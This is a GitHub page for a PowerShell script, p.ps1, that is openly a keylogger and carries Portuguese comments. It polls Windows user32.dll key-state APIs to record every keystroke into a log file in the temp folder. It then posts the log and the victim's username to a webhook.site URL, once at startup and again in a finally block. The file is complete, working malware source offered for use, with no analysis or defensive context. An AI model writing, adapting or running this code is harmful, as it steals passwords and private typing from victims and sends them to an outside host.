-
Notifications
You must be signed in to change notification settings - Fork 0
/
p.ps1
80 lines (62 loc) · 2.42 KB
/
p.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
# Keylogger
# adapted by L0gic
# COLOQUE O LINK DO WEBHOOK AQUI
$webhook = "https://webhook.site/Seu-ID"
# Escreve um PID
$PID > "$env:temp/DdBPKCytRe"
# Função do Keylogger
function KeyLogger($logFile="$env:temp/$env:UserName.log") {
# Formata a requisição que será enviada para o webhook
$logs = Get-Content "$logFile" | Out-String
$Body = @{
'username' = $env:UserName
'content' = $logs
}
Invoke-RestMethod -Uri $webhook -Method 'post' -Body $Body
# Gera um aquivo de log
$generateLog = New-Item -Path $logFile -ItemType File -Force
# Comunicações com as API's
$APIsignatures = @'
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
public static extern short GetAsyncKeyState(int virtualKeyCode);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int GetKeyboardState(byte[] keystate);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int MapVirtualKey(uint uCode, int uMapType);
[DllImport("user32.dll", CharSet=CharSet.Auto)]
public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
'@
# Configura as API's
$API = Add-Type -MemberDefinition $APIsignatures -Name 'Win32' -Namespace API -PassThru
# Tenta capturar as teclas pressionadas
try {
while ($true) {
Start-Sleep -Milliseconds 40
for ($ascii = 9; $ascii -le 254; $ascii++) {
# Usa a API para detectar o estado da tecla
$keystate = $API::GetAsyncKeyState($ascii)
# Usa a API para detectar tecla sendo pressionada
if ($keystate -eq -32767) {
$null = [console]::CapsLock
# Mapeia as "Teclas virutais"
$mapKey = $API::MapVirtualKey($ascii, 3)
# Cria um StringBuilder
$keyboardState = New-Object Byte[] 256
$hideKeyboardState = $API::GetKeyboardState($keyboardState)
$loggedchar = New-Object -TypeName System.Text.StringBuilder
# Traduz as teclas Virtuais
if ($API::ToUnicode($ascii, $mapKey, $keyboardState, $loggedchar, $loggedchar.Capacity, 0)) {
# Adicona as teclas ao log
[System.IO.File]::AppendAllText($logFile, $loggedchar, [System.Text.Encoding]::Unicode)
}
}
}
}
}
finally {
# Envia os logs via WebHook
Invoke-RestMethod -Uri $webhook -Method 'post' -Body $Body
}
}
# Roda o Keylogger
KeyLogger